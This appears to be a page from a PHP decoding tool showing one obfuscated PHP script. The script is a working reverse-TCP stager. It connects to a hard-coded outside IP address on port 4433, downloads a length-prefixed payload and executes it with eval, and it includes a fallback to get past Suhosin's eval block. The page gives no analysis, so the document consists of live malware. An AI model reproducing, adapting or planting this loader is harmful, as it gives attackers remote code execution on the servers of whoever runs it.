PHP Decode

<?php
 goto k9Or8; xvuqQ: $GLOBALS["\155\x73\x67\x73\x6f\143\153\x5f\x74\171\160\x65"] = $s_type; goto v_heM; PHmFR: switch ($s_type) { case "\x73\164\162\x65\x61\x6d": $len = fread($s, 4); break; case "\x73\157\143\153\x65\164": $len = socket_read($s, 4); break; } goto HKLZE; Jm6f1: $len = $a["\154\145\x6e"]; goto ofm60; z9ZHl: if (!$s && ($f = "\146\x73\x6f\x63\153\x6f\x70\145\x6e") && is_callable($f)) { $s = $f($ip, $port); $s_type = "\163\164\162\x65\141\x6d"; } goto v7s_o; v_heM: if (extension_loaded("\x73\165\150\157\163\151\x6e") && ini_get("\163\x75\150\x6f\x73\x69\x6e\56\145\170\145\x63\x75\x74\157\x72\56\x64\x69\x73\x61\x62\154\145\x5f\x65\x76\x61\x6c")) { $suhosin_bypass = create_function('', $b); $suhosin_bypass(); } else { eval($b); } goto DXptz; P2I1d: if (!$s_type) { die("\156\x6f\40\163\157\143\153\x65\164\x20\146\x75\x6e\x63\163"); } goto n4onn; HKLZE: if (!$len) { die; } goto QXNcc; YZ6ZS: while (strlen($b) < $len) { switch ($s_type) { case "\163\164\162\145\x61\x6d": $b .= fread($s, $len - strlen($b)); break; case "\x73\x6f\143\153\145\x74": $b .= socket_read($s, $len - strlen($b)); break; } } goto cCF2Y; rFEXZ: if (($f = "\x73\x74\x72\x65\x61\155\137\163\x6f\143\153\x65\x74\137\x63\x6c\151\145\x6e\x74") && is_callable($f)) { $s = $f("\164\x63\160\x3a\57\x2f{$ip}\x3a{$port}"); $s_type = "\x73\164\x72\x65\x61\x6d"; } goto z9ZHl; QXNcc: $a = unpack("\x4e\x6c\x65\x6e", $len); goto Jm6f1; Fv8xb: $ip = "\x32\61\67\x2e\66\x36\x2e\62\x33\62\56\x31\x32"; goto HaAdn; HaAdn: $port = 4433; goto rFEXZ; DXptz: die; goto Jfvoq; n4onn: if (!$s) { die("\156\x6f\40\163\x6f\143\x6b\145\x74"); } goto PHmFR; cCF2Y: $GLOBALS["\x6d\163\147\163\x6f\x63\x6b"] = $s; goto xvuqQ; k9Or8: error_reporting(0); goto Fv8xb; v7s_o: if (!$s && ($f = "\x73\x6f\x63\x6b\x65\x74\x5f\143\x72\x65\x61\164\145") && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die; } $s_type = "\163\157\x63\x6b\145\x74"; } goto P2I1d; ofm60: $b = ''; goto YZ6ZS; Jfvoq: ?>